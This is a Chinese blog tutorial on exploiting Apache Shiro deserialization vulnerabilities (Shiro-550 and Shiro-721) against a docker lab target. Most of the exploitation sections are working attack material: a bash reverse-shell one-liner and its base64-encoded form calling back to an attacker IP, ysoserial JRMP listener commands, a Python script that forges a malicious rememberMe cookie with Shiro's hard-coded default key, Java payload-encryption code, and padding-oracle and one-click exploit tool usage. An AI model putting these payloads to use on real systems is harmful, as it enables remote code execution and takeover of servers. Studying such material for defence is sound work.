zoukankan      html  css  js  c++  java
  • Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

    文章目录:

    • 1、Shiro rememberMe反序列化漏洞(Shiro-550)
      • 1.1 漏洞原理
      • 1.2 影响版本
      • 1.3 漏洞特征
      • 1.4 漏洞利用
        • 1.4.1 利用方式一
        • 1.4.2 利用方式二
    • 2、Shiro Padding Oracle Attack(Shiro-721)
      • 2.1 漏洞原理
      • 2.2 影响版本
      • 2.3 漏洞利用
    • 3、一键自动化漏洞利用
      • 3.1 Shiro-550
      • 3.2 Shiro-721

    1、Shiro rememberMe反序列化漏洞(Shiro-550)

    1.1 漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
    那么,Payload产生的过程:
    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

    1.2 影响版本:Apache Shiro < 1.2.4

    1.3 特征判断:返回包中包含rememberMe=deleteMe字段。

    1.4 漏洞利用

    1.4.1 环境搭建

    获取docker镜像
    docker pull medicean/vulapps:s_shiro_1
    启动docker镜像:
    docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

    1.4.2 工具准备

    1、maven配置

    sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
    tar -zxvf apache-maven-3.6.3-bin.tar.gz
    sudo mv apache-maven-3.6.3 /usr/local/maven3
    在/etc/profile末尾添加maven环境变量:
    export M2_HOME=/usr/local/maven3
    export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
    source /etc/profile

    2、下载ysoserial并打包

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests

    生成的工具在ysoserial/target文件中。

    1.4.3 漏洞利用

    1、检查是否存在默认的key。
    这里我们使用一个 Shiro_exploit,获取key
    Github项目地址:https://github.com/insightglacier/Shiro_exploit

    python shiro_exploit.py -u http://192.168.172.129:8080
    
    

    漏洞利用方式一:

    1、制作反弹shell代码
    监听本地端口

    nc -lvp 1234

    Java Runtime 配合 bash 编码,
    在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

    bash -i >& /dev/tcp/192.168.172.133/1234 0>&1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

    2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

    3、使用shiro.py 生成Payload

    python shiro.py 192.168.172.133:6666


    shiro.py代码如下:

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print "rememberMe={0}".format(payload.decode())

    4、构造数据包,伪造cookie,发送Payload.



    nc监听端口,shell成功反弹:



    java监听接口,查看服务器连接情况:


    漏洞利用方式二:
    1、生成poc.ser文件

    sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

    2、使用Shiro内置的默认密钥对Payload进行加密:
    java调试:



    调试代码:

    package shiro;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.codec.CodecSupport;
    import org.apache.shiro.util.ByteSource;
    import org.apache.shiro.codec.Base64;
    import org.apache.shiro.io.DefaultSerializer;
    import java.nio.file.FileSystems;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    public class TestRemember {
        public static void main(String[] args) throws Exception {
            byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
    
            ByteSource ciphertext = aes.encrypt(payloads, key);
            System.out.printf(ciphertext.toString());
        }
    }

    3、发送rememberMe Cookie,即可成功执行命令。

    在目标服务器/tmp目录下,生成success文件。

    2、Shiro Padding Oracle Attack(Shiro-721)

    漏洞原理:
    由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
    影响版本:Apache Shiro < 1.4.2版本。
    漏洞利用:
    1、登录Shiro网站,从cookie中获得rememberMe字段的值。

    2、利用DNSlog探测,通过ysoserial工具payload。

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

    3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
    github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
    使用示例:

    java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath


    爆破成功,输出Result:



    4、使用构造的rememberMe攻击字符串重新请求网站

    5、成功触发Payload,在DNSLog获取到目标IP。

    3、一键自动化漏洞利用工具

    ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。
    Github项目地址:https://github.com/feihong-cs/ShiroExploit

    Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。


    Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型。

  • 相关阅读:
    Shell for
    rsync 目录 斜杠
    shell local
    linux secureCRT utf-8编码显示
    eclipse maven 项目不显示 target目录
    如何打印身份证实际大小
    linux 去掉 ^M
    hibernate 之 集合映射中list映射
    hibernate 之 复合主键映射
    hibernate 之 组件映射
  • 原文地址:https://www.cnblogs.com/xiaozi/p/13239046.html
Copyright © 2011-2022 走看看